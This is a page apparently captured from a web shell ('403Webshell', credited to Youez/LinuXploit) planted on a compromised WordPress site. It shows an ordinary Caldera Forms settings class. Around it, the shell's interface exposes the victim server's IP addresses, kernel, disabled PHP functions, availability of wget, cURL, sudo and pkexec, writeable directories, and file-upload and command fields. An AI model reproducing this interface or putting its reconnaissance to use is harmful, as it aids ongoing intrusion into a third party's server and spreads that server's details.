403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.189.201
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/classes/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/coircraft.com/wp-content/plugins/caldera-forms/classes/settings/option.php
<?php
/**
 * Base class for settings stored as an array in options table
 *
 * @package Caldera_Forms
 * @author    Josh Pollock <[email protected]>
 * @license   GPL-2.0+
 * @link
 * @copyright 2017 CalderaWP LLC
 */

abstract class Caldera_Forms_Settings_Option implements Caldera_Forms_Settings_Contract{

	/**
	 * Get the saved settings
	 *
	 * @since 1.5.3
	 *
	 * @return array
	 */
	public function get_settings(){
		$settings = get_option( $this->get_option_key(), $this->get_defaults() );
		return $this->prepare( $settings );
	}

	/**
	 * Get the saved settings
	 *
	 * @since 1.5.3
	 *
	 * @param array $settings Settings to save
	 *
	 * @return array
	 */
	public function save_settings( array $settings ){
		$settings = $this->prepare( $settings );
		update_option( $this->get_option_key(), $settings );
		return $settings;
	}

	/**
	 * Get name for option key storing setting
	 *
	 * @since 1.5.3
	 *
	 * @return string
	 */
	public function get_option_key(){
		//must ovveride, should be abstract but PHP 5.2, so this hack
		_doing_it_wrong( __FUNCTION__, '', '1.5.3' );
	}

	/**
	 * Validate and sanitize settings
	 *
	 * @since 1.5.3
	 *
	 * @param array $settings Settings to save
	 *
	 * @return array
	 */
	protected function prepare( array $settings ){
		//must ovveride, should be abstract but PHP 5.2, so this hack
		_doing_it_wrong( __FUNCTION__, '', '1.5.3' );
		return $settings;
	}

	/**
	 * Get default settings
	 *
	 * @since 1.5.3
	 *
	 * @return array
	 */
	protected function get_defaults(){
		//must ovveride, should be abstract but PHP 5.2, so this hack
		_doing_it_wrong( __FUNCTION__, '', '1.5.3' );
		return array();
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit